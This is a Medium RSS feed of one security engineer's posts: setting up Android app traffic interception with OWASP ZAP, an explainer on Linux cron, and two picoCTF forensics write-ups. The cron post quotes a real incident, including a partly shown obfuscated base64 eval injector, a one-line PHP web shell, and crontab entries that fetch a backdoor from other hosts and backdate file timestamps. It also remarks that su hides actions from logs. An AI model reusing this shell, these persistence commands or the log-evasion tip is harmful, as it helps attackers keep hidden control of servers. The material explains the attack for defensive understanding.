<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Alex Myers Security Engineer on Medium]]></title>
        <description><![CDATA[Stories by Alex Myers Security Engineer on Medium]]></description>
        <link>https://medium.com/@alexmyerssa?source=rss-3644bfce2383------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*DxJ9kAawNwQKCSdYB7AnHQ.jpeg</url>
            <title>Stories by Alex Myers Security Engineer on Medium</title>
            <link>https://medium.com/@alexmyerssa?source=rss-3644bfce2383------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 16:11:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@alexmyerssa/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Dynamic Mobile App Security Testing (DMAST) with Android Emulator OWASP ZAP]]></title>
            <link>https://alexmyerssa.medium.com/dynamic-mobile-app-security-testing-dmast-with-android-emulator-owasp-zap-198748c4501e?source=rss-3644bfce2383------2</link>
            <guid isPermaLink="false">https://medium.com/p/198748c4501e</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[mast]]></category>
            <category><![CDATA[mobile-apps]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <category><![CDATA[dast]]></category>
            <dc:creator><![CDATA[Alex Myers Security Engineer]]></dc:creator>
            <pubDate>Tue, 06 Apr 2021 20:18:45 GMT</pubDate>
            <atom:updated>2021-04-06T20:18:45.719Z</atom:updated>
            <content:encoded><![CDATA[<p>A nice way I’ve found to run dynamic security tests on Android apps is using an Android emulator on your local machine, in conjunction with OWASP ZAP. Since these are both free tools, this should not cost you anything, other than some time, RAM and storage space.</p><p><strong><em>Part 1: Set up virtual Android device</em></strong></p><p>1. There are a few ways to set up a virtual Android device. Here I’ll be using Android Studio, which is available <a href="https://developer.android.com/studio#downloads">here</a>. Install it as per the instructions <a href="https://developer.android.com/studio/install">here</a>.</p><p>2. Once you have installed Android Studio installed, create a new virtual device:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aLiVZPyVXf78kzSC" /><figcaption>Go to AVD Manager</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/0*Ou-SdsALWOK-nWsw" /><figcaption>Click “Create Virtual Device”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/0*XuJf5hAk_JhTPdPj" /><figcaption>Choose a virtual device model.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/0*tzlO_vVXvb48wHf3" /><figcaption>Choose a release with a corresponding API level and Android version (30 and 11.0, respectively, are the most recent at the time of writing)</figcaption></figure><p>3. Then, once you have created the virtual Android device, you may close Android Studio, and run the following commands in the terminal:</p><p><em># To check that the virtual Android device exists and to find out its name</em></p><pre>alex@ubuntu:~$ emulator -list-avds</pre><pre>Pixel_4_XL_API_28<br>Pixel_4_XL_API_30</pre><p><em># To run the emulator for the purposes of dynamic analysis (DAST)</em></p><pre>alex@ubuntu:~$ emulator -avd Pixel_4_XL_API_30 -writable-system -no-snapshot</pre><p>You should then see output similar to that in the screenshot below, and the virtual device should pop up as well:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5kSyCuaYGVYjiOZB" /></figure><p>Note that you may get a response like:</p><pre>emulator: command not found</pre><p>This just means you have not added emulator to PATH, which can be done permanently in Linux by appending the following line to the <strong>.bashrc </strong>file in your home directory:</p><pre>export PATH=$PATH:/home/alex/Android/Sdk/emulator</pre><p>And in Windows by adding the path to your Environment variables. You can do this either via the command line:</p><pre>PATH= %PATH%;C:\Users\User\AppData\Local\Android\Sdk\emulator</pre><p>Or via the UI:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*-05LSFR-ISHoBwotNeLLNA.png" /><figcaption>Search for “Edit the system environment variables”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FlFtErJg8uJSj8k2Ao9Ilg.png" /><figcaption>Click Environment Variables… &gt; Edit… &gt; New, and type in the path.</figcaption></figure><p><strong><em>Part 2: Configure both OWASP ZAP and the Android virtual device so that it is possible to intercept HTTP(S) traffic from the virtual device</em></strong></p><p>1. If it is not already installed, install OWASP ZAP <a href="https://www.zaproxy.org/download">from the official site</a>.</p><p>2. On the virtual device, go to <strong>Wifi Settings &gt; Advanced Options</strong> and change the proxy settings there to <strong>Manual</strong>. Then under Proxy hostname, enter <strong>10.0.2.2</strong> . This IP corresponds to the <strong>Special alias to your host loopback interface (i.e., 127.0.0.1 on your development machine)</strong> — see the Android Studio Developer <a href="https://developer.android.com/studio/run/emulator-networking#networkaddresses">documentation</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/0*-z0p8-U0SAaXaDjY" /><figcaption>The correct proxy settings on the virtual device</figcaption></figure><p>Click Save.</p><p>3. The port has to be whatever this is set to in OWASP ZAP. The default port used by OWASP ZAP is <strong>8080</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/0*qWEsHEhDRWMz3MPW" /><figcaption>The correct proxy settings on OWASP ZAP</figcaption></figure><p>4. You’ll notice at this stage that although you are still connected to the internet on the virtual Android device, you see this message when you try to access any HTTPS website:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/0*8Wt_eOy3oHN5liko" /></figure><p>5. To solve this problem you need to import the Dynamic SSL Certificate from OWASP ZAP. Go to <strong>Tools &gt; Options &gt; Dynamic SSL Certificate</strong> and click Save .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/0*QAjaLcBDb4jBPcXC" /><figcaption>A certificate should already have been auto-generated. You can also generate a new one by clicking “Generate”.</figcaption></figure><p>Once saved, you need to transfer the certificate to the virtual device, which can be done by simply dragging it across.</p><p>6. Then, on the mobile device, go to <strong>Settings &gt; Security &gt; Advanced &gt; Encryption &amp; Credentials &gt; Install a certificate &gt; CA certificate</strong>. Go to <strong>Downloads</strong> and it should be there. Click on it to install it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*Rd0ZcL_4S57kTsKYMPuAlg.png" /></figure><p>You should see the following message when trying to install it. Click <strong>Install anyway.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*y_07AcVWyRiDB-h2iqTBrw.png" /></figure><p>7. Then try to visit a webpage, for example <a href="https://google.com/">https://google.com</a>. The page should load without any trouble and you should also see the OWASP ZAP (Heads Up Display) HUD overlay.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*tJiM3ScDrc83vAndjeMklg.png" /></figure><p>8. Any activity you perform in the browser now will be recorded in OWASP ZAP on your local machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pNVd349M7EtYmDA0EZYGLA.png" /></figure><p>9. The same will happen if you use an app. Transfer an <strong>.apk</strong> file (for this writeup, I have used one called <a href="https://apkpure.com/vidmate-downloader-hd-live-tv/com.nemo.vidmate">VidMate</a>) to the virtual device by dragging it over again, as was done with the certificate. That will install it automatically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*Y7dxOmt3d63TEJQXX8zt0w.png" /></figure><p>Then notice that as you use the app, all HTTPS requests made will appear in OWASP ZAP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*35FdKOLyIFFPTsudqN7pEw.png" /></figure><p>Happy testing!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=198748c4501e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The power of cron]]></title>
            <link>https://alexmyerssa.medium.com/the-power-of-cron-859b90192483?source=rss-3644bfce2383------2</link>
            <guid isPermaLink="false">https://medium.com/p/859b90192483</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cron]]></category>
            <category><![CDATA[infosecurity]]></category>
            <dc:creator><![CDATA[Alex Myers Security Engineer]]></dc:creator>
            <pubDate>Wed, 05 Jun 2019 09:40:00 GMT</pubDate>
            <atom:updated>2019-06-05T12:24:21.269Z</atom:updated>
            <content:encoded><![CDATA[<p>In this post, I’d like to give a brief overview of the cron program in Linux, with which I’ve been experimenting lately.</p><p><strong><em>Cron </em></strong>is a daemon (i.e. a continuously running program) that springs into action based on temporal events, as opposed to other triggers. Every minute it checks the config files in: <strong>/var/spool/cron</strong><em> </em>and <strong>/etc/cron.d</strong><em> </em>directories and executes commands listed therein if the time matches the system time. The daemon will use, if present, the definition from <strong>/etc/timezone</strong><em> </em>for the timezone. As per the man page for <strong><em>cron</em></strong>, Paul Vixie &lt;paul@vix.com&gt; is the author of <strong><em>cron</em></strong>, which is why you will sometimes see it referred to as Vixie Cron.</p><h3>Using the <strong><em>crontab</em></strong> command</h3><p>You can set up cron jobs with the <strong><em>crontab</em></strong> command (used with the following flags):</p><p><em>crontab [-u user] [ -i ] { -l | -e | -r } [file]</em></p><p><em>-u</em> specifies the user whose crontab will be edited</p><p><em>-e </em>opens the crontab for editing using an editor of one’s choice (here we use the default vi editor that all Linux distros have)</p><p><em>-l</em> displays the current crontab on standard output</p><p><em>-r </em>removes the crontab</p><p><em>-i</em> prompts y/n whether to carry out <em>–r</em></p><p><em>file</em> use this if you want to specify a particular file name</p><h3>Who can use this command?</h3><p>You can whitelist use of the of the crontab for users by adding them to the <strong>/etc/cron.allow</strong> and blacklist them by adding them to the <strong>/etc/cron.deny</strong> file. If neither of these files exists, then only root will be able to use the command, or all users will be able to do so (depending on the configuration parameters of your system). If both files exist, <strong>cron.allow</strong> takes precedence. Certain cron jobs can only be modified as root, because they pertain to the normal functioning of the operating system.</p><p>You can use <strong>sudo</strong> to edit cron jobs while logged in as any other user, provided you enter the root password. From a hacker’s point of view, however, one drawback of using <strong>sudo</strong> is that your commands are tagged with the sudoer’s username, which will then be visible in the logs. However, if you use <strong>su</strong>, it is not possible to trace what a user did after the <strong>su</strong> to the root account.</p><h3>Scheduling jobs</h3><p>You can schedule jobs according to the following schema, down to the minute. If you choose a star for any of the time intervals (minute, hour, day, etc.), this means the job will run every time that interval is concluded (i.e. every minute, hour, day, etc.).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CvCUt9QWNrmM18zNJRcgpQ.png" /></figure><h3>cron vs. anacron</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*YZ3-1bMx7ZAHCG7CM98WkQ.png" /><figcaption><strong>No, not the artist!</strong></figcaption></figure><p>With <strong><em>cron</em></strong>, jobs can be missed if the system is turned off. <strong><em>Anacron </em></strong>is designed to remedy this by running any job missed when system was off. This is why its jobs are scheduled to run after startup by default. One disadvantage of running it at this time, however, is that it can slow down performance if <strong><em>anacron </em></strong>needs to run a time-consuming task. You can choose any other time of day you wish; just keep in mind that the most frequent interval at which <strong><em>anacron </em></strong>can be run is daily (unlike with <strong><em>cron</em></strong>, which is every minute).</p><h3>What does cron have to do with security?</h3><p><strong><em>Cron </em></strong>should be used regularly to back up the audit event logs used for security purposes. If you look at the <strong><em>cron.daily</em></strong> directory, you will find <strong>logrotate</strong>, a script that is called by a system cron job. This works by running a configuration file <strong>/etc/logrotate.conf </strong>which contains information such as naming conventions for the rotated logs, whether log files should be compressed to save space, when it is necessary to create new log file, what the maximum size for a log file should be (in bytes), whether you want a log file emailed to you before it is removed, etc. It is also highly recommended to use <strong><em>cron </em></strong>to back up existing logs on separate media, so that if a malicious individual has tampered with the original logs, copies exist elsewhere that can be investigated. You can also use cron jobs to monitor the audit logs for activity that needs to be tracked. This could involve summarizing the log entries and/or looking for inappropriate events in the logs.</p><p>Sometimes an account may expire. Such accounts, when used to run a cron job, will cause the job to fail. One security audit is thus to look for failed authorizations in the cron service logs. The <a href="https://www.xplg.com/linux-security-investigate-suspected-break-in/#audit">example below</a> shows cron events related to an expired account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*hdQl_DPkQgNljUDidMCDEw.png" /></figure><p>Similarly, if a password has been changed or expired, and a cron job runs a script that tries to authenticate with the old password, it will keep running, generating “failed logon” events like the one below and quickly reaching the number of failed login attempts necessary to lock an account (usually this is only 3):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*ketdo1fb-mhfpv5odj2DcA.png" /></figure><h3>About PAM</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*ROrMo2BGg2bYHVMriLjF6g.png" /><figcaption>Another PAM</figcaption></figure><p>PAM in our context stands for <strong>Pluggable Authentication Module</strong> which is a mechanism for integrating multiple low-level authentication schemes into a high-level application programming interface (API). It allows programs that rely on authentication to be written independently of the underlying authentication scheme. <a href="https://en.wikipedia.org/wiki/Linux_PAM">Linux-PAM</a> separates the tasks of authentication into four independent management groups:</p><ul><li><strong>account modules</strong> check that the specified account is a valid authentication target under current conditions. This may include conditions like account expiration, time of day, and that the user has access to the requested service.</li><li><strong>authentication modules</strong> verify the user’s identity, for example by requesting and checking a password or other secret. They may also pass authentication information on to other systems like a keyring.</li><li><strong>password modules</strong> are responsible for updating passwords and are generally coupled to modules employed in the authentication step. They may also be used to enforce strong passwords.</li><li><strong>session modules</strong> define actions that are performed at the beginning and end of sessions. A session starts after the user has successfully authenticated.</li></ul><p>One way to get around the “root password expired” problem described earlier is to extend the root password or set it to “never expire”. Another way, however, is to modify the PAM config file for <strong><em>cron</em></strong> in the <strong>pam.d</strong> directory so that even if the password has expired the cron job will still run. You do this by editing the PAM config file for <strong><em>cron</em></strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*AqBdu1imKw8BjV8KCX13SQ.png" /><figcaption>The account tab will be set to “required” by default.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*knxRZikyHCjTwEVkwC2_XQ.png" /><figcaption>Change the account tab to “sufficient” as seen here.</figcaption></figure><p>When successful or failed logins occur, the opening or closing of PAM sessions are logged. When a failed logon occurs, a system cron job records this at the beginning of the next minute as the simultaneous opening and closing of a session:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*z0gQi0QXa_Nkd-fuOyDZ6A.png" /><figcaption>From Xiaodong Lin, <em>Introductory Computer Forensics: A Hands-on Practical Approach, </em>Springer, 2018, p. 310.</figcaption></figure><h3>How a malicious actor could use cron to establish persistence</h3><p>In a case discussed in more detail on <a href="https://blog.sucuri.net/2014/01/the-hidden-backdoors-to-the-city-of-cron.html">this security blog</a>, the following base-64 encoded SPAM injector was prepended to a valid Joomla file:</p><p><em>$stg=”ba”.”se”.”64_d”.”ecode”;eval ($stg(“JHNlcnZlcl91c2VyX2FnZW50ICAgID0gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KJHNlcnZlcl9yZWZlcmVyICAgICAgID0gQCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiRzZXJ2ZXJfZm9yd2FyZGVkX2ZvciA9IEAkX1N…</em></p><p>This was accompanied by a PHP shell to give the attacker “permanent” access to the server:</p><p><em>if( $_POST[“_cmd”] ) { $output = shell_exec ($_POST[“_cmd”]); echo “&lt;input type=”hidden” name=”output” value=”’; echo $output; echo ‘“&gt;’; }</em></p><p>So far this is a standard approach and the malware can easily be detected and deleted. Afterwards, the user also updated the Joomla version to one that was not vulnerable to this type of attack and changed all the passwords. Yet the same malware was running again within 10 minutes. So what happened? An investigation of the CloudProxy logs and FTP logs turned up nothing. The answer lay in the crontab:</p><pre>*/3 * * * * chmod 0755 /home3/infectedsite/public_html/libraries/joomla/utilities/compat/compat.php; wget http://  www.xxx  .com/wdc.txt -O /home3/infectedsite/public_html/libraries/joomla/utilities/compat/compat.php &gt;/dev/null; <br>* */6 * * * wget http://  www.xxx  .com/PDF/rbkvgqdyle.txt -O /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php &gt;/dev/null; fetch -o /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php http://  www.hestonsflorist  .com/PDF/rbkvgqdyle.txt &gt;/dev/null 2&gt;&amp;1; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/index.html &gt;/dev/null; chmod 0755 /home3/infectedsite/public_html/libraries/simplepie/idn/.htaccess &gt;/dev/null; rm /home3/infectedsite/public_html/libraries/simplepie/idn/.htaccess &gt;/dev/null; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/.; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php &gt;/dev/null</pre><p>The first job is set to run every 3 minutes (*/3 * * * *) and is responsible for keeping the spam injection installed. It changes the permissions in <strong>compat.php</strong> to 0755 and then downloads an infected version from another compromised website, replacing the original file. Using <strong><em>wget</em></strong> and <strong><em>fetch</em></strong>, it downloads and installs the backdoor every 6 hours. To hide this backdoor from scanners that rely on timestamps, it “touches” the file and its directory to change its timestamp to 04/20/2011–20:45. It also removes any <strong>.htaccess</strong> file that would prevent direct access to PHP files.</p><p>This example nicely demonstrates the power of the humble-seeming cron program!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=859b90192483" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Forensics — LoadSomeBits]]></title>
            <link>https://alexmyerssa.medium.com/forensics-loadsomebits-838184d73acc?source=rss-3644bfce2383------2</link>
            <guid isPermaLink="false">https://medium.com/p/838184d73acc</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[endian]]></category>
            <dc:creator><![CDATA[Alex Myers Security Engineer]]></dc:creator>
            <pubDate>Fri, 03 May 2019 15:59:04 GMT</pubDate>
            <atom:updated>2019-06-27T07:34:59.302Z</atom:updated>
            <content:encoded><![CDATA[<h3>Forensics — LoadSomeBits</h3><p>As you might expect, the final picoCTF Forensics exercise is the most challenging. I encountered a few red herrings along the way and I’d like to detail these first before moving on to explain two publicly available Python scripts that enable you to capture the flag.</p><p>The file from which we have to retrieve the flag is a Bitmap image file. This cannot be displayed properly in Windows or Mac environments, but with Linux (which we should all be using for these exercises!), there should be no problem. When you open it, it should look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pAS19F8Nv0su-qmLfSfRlg.jpeg" /></figure><p>No, that is not the flag, in case you were wondering — just some random numbers.</p><p>As with previous CTF exercises, I went straight to my Hex editor and opened the file. This time, however, no matter where I looked, the flag was simply not visible in the ASCII translation of the hex data, as had been the case in some earlier picoCTF exercises. So, I assumed, the idea here must be to use a steganography tool to manipulate the image and reveal the flag when viewing the modified image. One tool I used for this was StegDetect, written in Python and available on Github:</p><p><a href="https://github.com/ragibson/Steganography/blob/master/StegDetect.py">ragibson/Steganography</a></p><p>I ran this script from the Terminal with the “-f” flag indicating that the file name will follow:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*aZHz-qV07YgVnnpUrSI6jQ.png" /></figure><p>The output was similar except for one very interesting difference, in the bottom left corner, which I have blown up below to make it (slightly) easier to see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0cxLqY-sQp178aDIzMbPsQ.png" /><figcaption>Look carefully at the lower left corner where the red arrow is pointing</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lS_sSCoFeOK3zrxRm-ARYw.png" /><figcaption>Lower left corner (enlarged)</figcaption></figure><p>Here we see a mysterious row of white pixels that wasn’t at all visible earlier. Could this be the flag, I wondered? Maybe if I just keep trying to manipulate the image, it will become legible. So I tried a few more stego tools, and one which I found particularly useful was called stegoVeritas, also available on Github:</p><p><a href="https://github.com/bannsec/stegoVeritas">GitHub - bannsec/stegoVeritas: Yet another Stego Tool</a></p><p>This tool has the ability to output not just one modified version of the original Bitmap file, but an entire folder with different color masks. I ran the following command line and the folder (called “results”) was created in my default “Downloads” directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*4fjdlBTL7TrUyTEmGT-CBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*s2fDhW-1OsbQzpcSl1rX3w.png" /></figure><p>Now I was finally getting somewhere, I thought. Once again, however, when I opened the files, all I could get was the same line of white pixels (albeit a bit better defined this time) against a black backdrop:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dXIxXbk1JSf2Lx06orRp-Q.png" /></figure><p>I was pretty sure that those pixels represented the flag, but how to get them into human-legible format? After a conversation with a colleague, I decided to return to the hex data to see if I could find some way of converting the Least Significant Bytes in the file to human-readable ASCII data. I found two Python scripts that do just that. They work in quite different ways, however, which spurred me to understand how in spite of this, they arrive at the same result.</p><ul><li><a href="https://github.com/Dvd848/CTFs/blob/master/2018_picoCTF/LoadSomeBits.md">Dvd848/CTFs</a></li><li><a href="https://github.com/sefi-roee/CTFs-Writeups/blob/master/picoCTF-2018/Forensics/15-LoadSomeBits-550/solution.md">sefi-roee/CTFs-Writeups</a></li></ul><p>The first (by Dvd848) is the more complicated, although I simplified and tidied it up a little:</p><pre>import os<br>import mmap</pre><pre>BMP_HEADER_SIZE = 54<br>BITS_PER_BYTE = 8</pre><pre>def memory_map(filename, access=mmap.ACCESS_READ):<br>    size = os.path.getsize(filename)<br>    fd = os.open(filename, os.O_RDWR)<br>    return mmap.mmap(fd, size, access=access)</pre><pre>with memory_map(&quot;pico.bmp&quot;) as b:<br>    for i in range(BMP_HEADER_SIZE,<br>                   len(b) - BMP_HEADER_SIZE - BITS_PER_BYTE,<br>                   BITS_PER_BYTE):<br>        chunk = b[i:i+BITS_PER_BYTE]<br>        new_byte = 0<br>        for x, byte in enumerate(chunk):<br>            new_byte |= byte &lt;&lt; (BITS_PER_BYTE - x - 1)<br>        c = chr(new_byte)<br>        if new_byte == 0:<br>            break<br>        print(c, end=&#39;&#39;)<br>print(&#39;&#39;)</pre><p>This script uses a module called <a href="https://docs.python.org/2/library/mmap.html">mmap or “memory map”</a> to read our file from the beginning literally “bit by bit”, exclude the file header (which for a Bitmap file is 54 bytes or 432 bits) and break the subsequent data into new bytes with a different offset, which when translated to ASCII characters, reveal the flag. It is important at this stage to say something about Endianness, which refers to the order in which data is stored or read from memory. If the format is Little Endian, the bits are read from the “little end” of the byte as seen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/0*0ZC99AB06ZsGHrCZ.png" /><figcaption>The Least Significant Bit is the bit with the lowest binary value (i.e. 2 to the power of 0, which is 1). Hence this is called the “little end” of the byte.</figcaption></figure><p>If the format is Big Endian, the bits are read from the “big end” of the byte as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/0*eRHgr5TFq1Y1_oAE.png" /><figcaption>The Most Significant Bit is the bit with the greatest binary value (i.e. 2 to the power of 7, which is 128). Hence this is called the “big end” of the byte.</figcaption></figure><p>The Least Significant <em>Byte</em> of a byte sequence is similarly read first if the format is Little Endian:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ucpmjqiD7c6sPflpCt6haQ.png" /><figcaption>Reading the bytes in this order is equivalent to reading the hex data from right to left.</figcaption></figure><p>Whereas the Most Significant <em>Byte </em>of a byte sequence is read first if the format is Big Endian:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mPfwEFvRECkIcDK9zDbOMA.png" /><figcaption>Reading the bytes in this order is equivalent to reading the hex data from left to right.</figcaption></figure><p>It is a matter of convention which format is used. For more on Endianness, see the <a href="https://en.wikipedia.org/wiki/Endianness">Wikipedia page</a>).</p><p>The second script is much simpler: it converts the hex data to binary data, and then searches this for the binary equivalent of “pico” (which we know appears at the beginning of every flag in these exercises).</p><pre>import binascii<br><br><br>image = open(&#39;pico.bmp&#39;, &#39;rb&#39;).read()<br>s = &#39;&#39;<br><br>for c in image:<br>	s += str(ord(c) &amp; 1)<br><br>for it in range(16):<br>	ss = &#39;&#39;<br>	try:<br>		ss = binascii.unhexlify(&#39;%x&#39; % int(s[:-it], 2))<br><br>	except:<br>		pass<br><br>	if &#39;pico&#39; in ss:<br>		print ss[ss.find(&#39;pico&#39;) : ss.find(&#39;pico&#39;) + 70]<br><br>		break</pre><p>I prefer the first script not only because it compels us to engage with the Least Significant Bit/Byte aspect of the question, which is after all the crux of this exercise. I also noticed that if you use a program like PyCharm to run the main for-loop in this script, you will see that the binary data starts spelling out the flag right after the header. As an experiment, you can also try reversing the order in which the bytes are read (see code below), and you should get an unintelligible string characters. Reverse it again and you’ll get the flag once more. This nicely illustrates Endianness.</p><pre>for i in range(BMP_HEADER_SIZE,<br>                   len(b) - BMP_HEADER_SIZE - BITS_PER_BYTE,<br>                   BITS_PER_BYTE):<br>        chunk = b[i:i+BITS_PER_BYTE]<br><strong>        chunk = reversed(list(chunk))</strong><br>        new_byte = 0<br>        for x, byte in enumerate(chunk):<br>            new_byte |= byte &lt;&lt; (BITS_PER_BYTE - x - 1)<br>        c = chr(new_byte)<br>        if new_byte == 0:<br>            break<br>        print(c, end=&#39;&#39;)</pre><p>This also led me to go back to my hex editor (yet again) and notice something I somehow completely missed previously even while staring right at it. I had convinced myself that the flag was not at the beginning of the file, because when looking at the ASCII data, I saw nothing after the header. But had I looked more closely at the hex data itself, I would have seen that not all the data were 0s. There were quite a few 1s as well. It’s just that they don’t show up as anything legible in ASCII characters, unless read in the right way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*bdLdxvvQY-rI203CGPRCgA.png" /><figcaption>The flag (in another format)</figcaption></figure><p>This is the last picoCTF Forensics writeup of this series, but stayed tuned for the next series I hope to do soon — on Cryptography.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=838184d73acc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Forensics — Ext Super Magic]]></title>
            <link>https://alexmyerssa.medium.com/forensics-ext-super-magic-a7f4ae290480?source=rss-3644bfce2383------2</link>
            <guid isPermaLink="false">https://medium.com/p/a7f4ae290480</guid>
            <category><![CDATA[hexadecimal]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Alex Myers Security Engineer]]></dc:creator>
            <pubDate>Thu, 28 Mar 2019 11:35:14 GMT</pubDate>
            <atom:updated>2021-04-06T12:51:12.440Z</atom:updated>
            <content:encoded><![CDATA[<h3>Forensics — Ext Super Magic</h3><p>I found this to be among the most difficult of the picoCTF challenges in the Forensics section. The first thing I puzzled over is how to fix the corrupted file provided to us: <strong>ext-super-magic.img</strong>. There were quite a few links provided in the hints, some of which turned out to be red herrings (for example, the page on file signatures that while useful in solving some other challenges, is not so useful here). After poring over these links for a while, I seemed to come no closer to figuring out how to repair this corrupted disk image file and then get to work retrieving the flag. Did I need to use/install software that would automatically repair it for me? Could I write a Python script that would identify the problem?</p><p>I started by using the <strong>fsck</strong> tool to try to repair the file. When you run fsck with the file name (as shown below), all you get is a menu of <strong>fsck </strong>options:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*5hEsYpfnPyNCJLUdTjh30w.jpeg" /></figure><p>Maybe it doesn’t know what file system for the image file is supposed to be, I thought. One of the hint links was all about the <a href="http://www.nongnu.org/ext2-doc/ext2.html">Second Extended File System</a> or <strong>ext2</strong>. So I ran a version of fsck that is specific to <strong>ext2</strong> called <strong>e2fsck</strong>. All this could tell me, however, I already knew: the file is corrupt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*rOYtR--MpvEWcrOvT9T6RQ.jpeg" /></figure><p>I tried running e2fsck with the alternate superblocks suggested above, but to no avail. All I got were these messages:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*4taYQkqm1dt7-iHdSopj1g.jpeg" /></figure><p>Then I hit upon it: the ultimate hint is in the name of the challenge. “Ext” refers to the file system type. “Super” refers to “superblock”, which as the ext2 resource mentioned above tells us, is the part of the disk image that “contains all the information about the configuration of the filesystem.” That leaves “magic”? What is that about? I scrolled down a bit on the ext2 table of contents and noticed a component of the superblock called “s_magic”. I clicked on it and discovered that this is the “16bit value identifying the file system as Ext2. The value is currently fixed to EXT2_SUPER_MAGIC of value 0xEF53.”</p><p>Since we are now dealing at the level of bits, a hex editor will be needed (this will allow you to view the file at a granular level, comparing hexadecimal values to ASCII characters). I downloaded one called Ghex and installed it on my Ubuntu machine. You can either change the values yourself or if you prefer not to muck around in the hex editor, there is a <a href="https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/forensics/#ext-super-magic">Python script</a> I found that will write in the correct hex values at the correct offset.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ubP5IjVBV_bmVsyNowmJ_w.jpeg" /><figcaption>Here we compare the relevant portion of the file before and after the “magic” value has been inserted, which repairs the file</figcaption></figure><p>Now that the image is fixed, it will be possible to read files off it. You can either do this with <strong>debugfs</strong>, as suggested in the hints, or just by mounting the file as we did in the previous CTF exercise. Either way, you will find a long list of files, among which will be one called <strong>flag.jpg</strong>. Open it 